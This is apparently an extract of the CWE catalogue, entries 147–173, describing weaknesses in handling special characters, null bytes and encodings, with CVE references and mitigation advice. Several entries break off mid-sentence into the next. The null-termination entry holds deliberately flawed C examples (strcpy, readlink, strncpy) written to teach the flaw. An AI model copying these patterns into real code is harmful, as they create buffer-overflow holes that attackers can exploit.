When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-147: Improper Neutralization of Input Terminators

Weakness ID: 147 (Weakness Variant)

Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as input terminators when they are sent to a downstream component.

Extended Description

For example, a "." in SMTP signifies the end of mail message data, whereas a null character can be used for the end of a string.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Observed Examples

Reference	Description
CVE-2000-0319	MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.
CVE-2000-0320	MFV. mail server does not properly identify terminator string to signify end of message, causing corruption, possibly in conjunction with off-by-one error.
CVE-2001-0996	Mail server does not quote end-of-input terminator if it appears in the middle of a message.
CVE-2002-0001	Improperly terminated comment or phrase allows commands.

Potential Mitigations

Developers should anticipate that terminators will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Software Fault Patterns	SFP24	Tainted input to command

CWE-149: Improper Neutralization of Quoting Syntax

Weakness ID: 149 (*Weakness Variant*)**Status:** Draft**Description****Summary**

Quotes injected into an application can be used to compromise a system. As data are parsed, an injected/absent/duplicate/malformed use of quotes may cause the process to take unexpected actions.

Time of Introduction

- Implementation

Common Consequences**Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2003-1016	MIE. MFV too? bypass AV/security with fields that should not be quoted, duplicate quotes, missing leading/trailing quotes.
CVE-2004-0956	Database allows remote attackers to cause a denial of service (application crash) via a MATCH AGAINST query with an opening double quote but no closing double quote.

Potential Mitigations

Developers should anticipate that quotes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-150: Improper Neutralization of Escape, Meta, or Control Sequences

Weakness ID: 150 (*Weakness Variant*)

Status: Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as escape, meta, or control character sequences when they are sent to a downstream component.

Extended Description

As data is parsed, an injected/absent/malformed delimiter may cause the process to take unexpected actions.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Modes of Introduction

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Common Consequences

Integrity

Unexpected state

Observed Examples

Reference	Description
CVE-2000-0476	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2000-0703	Setuid program does not filter escape sequences before calling mail program.
CVE-2001-1556	MFV. (multi-channel). Injection of control characters into log files that allow information hiding when using raw Unix programs to read the files.
CVE-2002-0542	The mail program processes special "~" escape sequence even when not in interactive mode.
CVE-2002-0986	Mail function does not filter control characters from arguments, allowing mail message content to be modified.
CVE-2003-0020	Multi-channel issue. Terminal escape sequences not filtered from log files.
CVE-2003-0021	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0022	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0023	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0063	Terminal escape sequences not filtered by terminals when displaying files.
CVE-2003-0083	Multi-channel issue. Terminal escape sequences not filtered from log files.

Potential Mitigations

Developers should anticipate that escape, meta and control characters/sequences will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. CWE-152: Improper Neutralization of Macro Symbols

Weakness ID: 152 (*Weakness Variant*)

Status: Draft

Description**Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as macro symbols when they are sent to a downstream component.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2002-0770	Server trusts client to expand macros, allows macro characters to be expanded to trigger resultant information exposure.
CVE-2008-2018	Attacker can obtain sensitive information from a database by using a comment containing a macro, which inserts the data during expansion.

Potential Mitigations**Implementation****Input Validation**

Developers should anticipate that macro symbols will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Output Encoding**

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-157: Failure to Sanitize Paired Delimiters

Weakness ID: 157 (*Weakness Variant*)**Status:** Draft**Description****Summary**

The software does not properly handle the characters that are used to mark the beginning and ending of a group of entities, such as parentheses, brackets, and braces.

Extended Description

Paired delimiters might include:

- < and > angle brackets
- (and) parentheses
- { and } braces
- [and] square brackets
- " " double quotes
- ' ' single quotes

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2000-1165	Crash via message without closing ">".
CVE-2004-0956	Crash via missing paired delimiter (open double-quote but no closing double-quote).
CVE-2005-2933	Buffer overflow via mailbox name with an opening double quote but missing a closing double quote, causing a larger copy than expected.

Potential Mitigations

Developers should anticipate that grouping elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. CWE-158: Improper Neutralization of Null Byte or NUL Character

Weakness ID: 158 (Weakness Variant)

Status: Incomplete

Description**Summary**

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes NUL characters or null bytes when they are sent to a downstream component.

Extended Description

As data is parsed, an injected NUL character or null byte may cause the software to believe the input is terminated earlier than it actually is, or otherwise cause the input to be misinterpreted. This could then be used to inject potentially dangerous input that occurs after the null byte or otherwise bypass validation routines and other protection mechanisms.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Integrity****Unexpected state****Observed Examples**

Reference	Description
CVE-2000-0149	Web server allows remote attackers to view the source code for CGI programs via a null character (%00) at the end of a URL.
CVE-2000-0671	Web server earlier allows allows remote attackers to bypass access restrictions, list directory contents, and read source code by inserting a null character (%00) in the URL.
CVE-2001-0738	Logging system allows an attacker to cause a denial of service (hang) by causing null bytes to be placed in log messages.
CVE-2001-1140	Web server allows source code for executable programs to be read via a null character (%00) at the end of a request.
CVE-2002-1025	Application server allows remote attackers to read JSP source code via an encoded null byte in an HTTP GET request, which causes the server to send the .JSP file unparsed.
CVE-2002-1031	Protection mechanism for limiting file access can be bypassed using a null character (%00) at the end of the directory name.
CVE-2002-1774	Null character in MIME header allows detection bypass.
CVE-2003-0768	XSS protection mechanism only checks for sequences with an alphabetical character following a (<), so a non-alphabetical or null character (%00) following a < may be processed.
CVE-2004-0189	Decoding function in proxy allows regular expression bypass in ACLs via URLs with null characters.
CVE-2005-2008	Source code disclosure using trailing null.
CVE-2005-2061	Trailing null allows file include.
CVE-2005-3153	Null byte bypasses PHP regexp check (interaction error).
CVE-2005-3293	Source code disclosure using trailing null.
CVE-2005-4155	Null byte bypasses PHP regexp check (interaction error).

Potential Mitigations

Developers should anticipate that null characters or null bytes will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-159: Failure to Sanitize Special Element

Weakness ID: 159 (Weakness Class)

Status: Draft

Description**Summary**

Weaknesses in this attack-focused category do not properly filter and interpret special elements in user-controlled input which could cause adverse effect on the software behavior and integrity.

Terminology Notes

Precise terminology for the underlying weaknesses does not exist. Therefore, these weaknesses use the terminology associated with the manipulation.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Potential Mitigations

Developers should anticipate that special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Research Gaps

Customized languages and grammars, even those that are specific to a particular product, are potential sources of weaknesses that are related to special elements. However, most researchers concentrate on the most commonly used representations for data transmission, such as HTML and SQL. Any representation that is commonly used is likely to be a rich source of weaknesses; researchers are encouraged to investigate previously unexplored representations.

CWE-160: Improper Neutralization of Leading Special Elements

Weakness ID: 160 (*Weakness Variant*)

Status: Incomplete

Description

Summary

The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes leading special elements that could be interpreted in unexpected ways when they are sent to a downstream component.

Extended Description

As data is parsed, improperly handled leading special elements may cause the process to take unexpected actions that result in an attack.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Potential Mitigations

Developers should anticipate that leading special elements will be injected/removed/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. CWE-167: Improper Handling of Additional Special Element

Weakness ID: 167 (Weakness Base)

Status: Draft

Description

Summary

The software receives input from an upstream component, but it does not handle or incorrectly handles when an additional unexpected special element is missing.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Observed Examples

Reference	Description
CVE-2000-0116	Extra "<" in front of SCRIPT tag.
CVE-2001-1157	Extra "<" in front of SCRIPT tag.
CVE-2002-2086	"<script" - probably a cleansing error

Potential Mitigations

Developers should anticipate that extra special elements will be injected in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Output Encoding**

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-168: Improper Handling of Inconsistent Special Elements

Weakness ID: 168 (*Weakness Base*)

Status: Draft

Description**Summary**

The software does not handle when an inconsistency exists between two or more special characters or reserved words.

Extended Description

An example of this problem would be if paired characters appear in the wrong order, or if the special characters are not properly nested.

Time of Introduction

- Implementation

Applicable Platforms**Languages**

- Language-Independent

Common Consequences**Availability****Access Control****Non-Repudiation****DoS: crash / exit / restart****Bypass protection mechanism****Hide activities****Potential Mitigations**

Developers should anticipate that inconsistent special elements will be injected/manipulated in the input vectors of their software system. Use an appropriate combination of black lists and whitelists to ensure only valid, expected and appropriate input is processed by the system.

Implementation**Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation**Input Validation**

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

PLOVER	Inconsistent Special Elements

CWE-169: DEPRECATED: Technology-Specific Special Elements

Category ID: 169 (Deprecated Category)

Status: Deprecated

Description**Summary**

This category has been deprecated. It was originally intended as a "catch-all" for input validation problems in technologies that did not have their own CWE, but introduces unnecessary depth to the hierarchy.

CWE-170: Improper Null Termination

Weakness ID: 170 (Weakness Base)

Status: Incomplete

Description**Summary**

The software does not terminate or incorrectly terminates a string or array with a null character or equivalent terminator.

Extended Description

Null termination errors frequently occur in two different ways. An off-by-one error could cause a null to be written out of bounds, leading to an overflow. Or, a program could use a `strncpy()` function call incorrectly, which prevents a null terminator from being added at all. Other scenarios are possible.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++

Platform Notes

Common Consequences

Confidentiality

Integrity

Availability

Read memory

Execute unauthorized code or commands

The case of an omitted null character is the most dangerous of the possible issues. This will almost certainly result in information disclosure, and possibly a buffer overflow condition, which may be exploited to execute arbitrary code.

Confidentiality

Integrity

Availability

DoS: crash / exit / restart

Read memory

DoS: resource consumption (CPU)

DoS: resource consumption (memory)

If a null character is omitted from a string, then most string-copying functions will read data until they locate a null character, even outside of the intended boundaries of the string. This could:

- cause a crash due to a segmentation fault
- cause sensitive adjacent memory to be copied and sent to an outsider
- trigger a buffer overflow when the copy is being written to a fixed-size buffer

Integrity

Availability

Modify memory

DoS: crash / exit / restart

Misplaced null characters may result in any number of security problems. The biggest issue is a subset of buffer overflow, and write-what-where conditions, where data corruption occurs from the writing of a null character over valid data, or even instructions. A randomly placed null character may put the system into an undefined state, and therefore make it prone to crashing. A misplaced null character may corrupt other data in memory.

Integrity

Confidentiality

Availability

Access Control

Other

Alter execution logic

Execute unauthorized code or commands

Should the null character corrupt the process flow, or affect a flag controlling access, it may lead to logical errors which allow for the execution of arbitrary code.

Likelihood of Exploit

Medium

Demonstrative Examples

Example 1:

The following code reads from `cfgfile` and copies the input into `inputbuf` using `strcpy()`. The code mistakenly assumes that `inputbuf` will always contain a NULL terminator.

C Example:

Bad Code

```
#define MAXLEN 1024
```

```
...
char *pathbuf[MAXLEN];
...
read(cfgfile,inputbuf,MAXLEN); //does not null terminate
strcpy(pathbuf,input_buf); //requires null terminated input
...
```

The code above will behave correctly if the data read from `cfgfile` is null terminated on disk as expected. But if an attacker is able to modify this input so that it does not contain the expected NULL character, the call to `strcpy()` will continue copying from memory until it encounters an arbitrary NULL character. This will likely overflow the destination buffer and, if the attacker can control the contents of memory immediately following `inputbuf`, can leave the application susceptible to a buffer overflow attack.

Example 2:

In the following code, `readlink()` expands the name of a symbolic link stored in the buffer `path` so that the buffer filename contains the absolute path of the file referenced by the symbolic link. The length of the resulting value is then calculated using `strlen()`.

C Example:

Bad Code

```
char buf[MAXPATH];
...
readlink(path, buf, MAXPATH);
int length = strlen(filename);
...
```

The code above will not behave correctly because the value read into `buf` by `readlink()` will not be null terminated. In testing, vulnerabilities like this one might not be caught because the unused contents of `buf` and the memory immediately following it may be NULL, thereby causing `strlen()` to appear as if it is behaving correctly. However, in the wild `strlen()` will continue traversing memory until it encounters an arbitrary NULL character on the stack, which results in a value of `length` that is much larger than the size of `buf` and may cause a buffer overflow in subsequent uses of this value. Buffer overflows aside, whenever a single call to `readlink()` returns the same value that has been passed to its third argument, it is impossible to know whether the name is precisely that many bytes long, or whether `readlink()` has truncated the name to avoid overrunning the buffer. Traditionally, strings are represented as a region of memory containing data terminated with a NULL character. Older string-handling methods frequently rely on this NULL character to determine the length of the string. If a buffer that does not contain a NULL terminator is passed to one of these functions, the function will read past the end of the buffer. Malicious users typically exploit this type of vulnerability by injecting data with unexpected size or content into the application. They may provide the malicious input either directly as input to the program or indirectly by modifying application resources, such as configuration files. In the event that an attacker causes the application to read beyond the bounds of a buffer, the attacker may be able use a resulting buffer overflow to inject and execute arbitrary code on the system.

Example 3:

While the following example is not exploitable, it provides a good example of how nulls can be omitted or misplaced, even when "safe" functions are used:

C Example:

Bad Code

```
#include <stdio.h>
#include <string.h>
int main() {
    char longString[] = "String signifying nothing";
    char shortString[16];
    strncpy(shortString, longString, 16);
    printf("The last character in shortString is: %c %1$x\n", shortString[15]);
    return (0);
}
```

The above code gives the following output: The last character in shortString is: l 6c So, the `shortString` array does not end in a NULL character, even though the "safe" string function `strncpy()` was used.

Observed Examples

Reference	Description
CVE-2000-0312	Attacker does not null-terminate argv[] when invoking another program.
CVE-2001-1389	Multiple vulnerabilities related to improper null termination.
CVE-2003-0143	Product does not null terminate a message buffer after sprintf-like call, leading to overflow.
CVE-2003-0777	Interrupted step causes resultant lack of null termination.
CVE-2004-1072	Fault causes resultant lack of null termination, leading to buffer expansion.
CVE-2009-2523	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122).

Potential Mitigations

Requirements

Use a language that is not susceptible to these issues. However, be careful of null byte interaction errors (CWE-626) with lower-level constructs that may be written in a language that is susceptible.

Implementation

Ensure that all string functions used are understood fully as to how they append null characters. Also, be wary of off-by-one errors when appending nulls to the end of strings.

Implementation

If performance constraints permit, special code can be added that validates null-termination of string buffers, this is a rather naive and error-prone solution.

Implementation

Switch to bounded string manipulation functions. Inspect buffer lengths involved in the buffer overrun trace reported with the defect.

Implementation

Add code that fills buffers with nulls (however, the length of buffers still needs to be inspected, to ensure that the non null-terminated string is not written at the physical end of the buffer).

Weakness Ordinalities

Resultant (where the weakness is typically related to the presence of some other weaknesses)

CWE-172: Encoding Error

Weakness ID: 172 (*Weakness Class*)

Status: Draft

Description

Summary

The software does not properly encode or decode the data, resulting in unexpected values.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Integrity

Unexpected state

Potential Mitigations

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict whitelist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Implementation

Input Validation

Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

Many other types of encodings should be listed in this category.

CWE-173: Improper Handling of Alternate Encoding

Weakness ID: 173 (Weakness Variant)

Status: Draft

Description

Summary

The software does not properly handle when an input uses an alternate encoding that is valid for the control sphere to which the input is being sent.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-Independent

Common Consequences

Access Control

Bypass protection mechanism

Potential Mitigations

Architecture and Design

Input Validation

Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation

Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation

Output Encoding

Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component.

Implementation

Input Validation

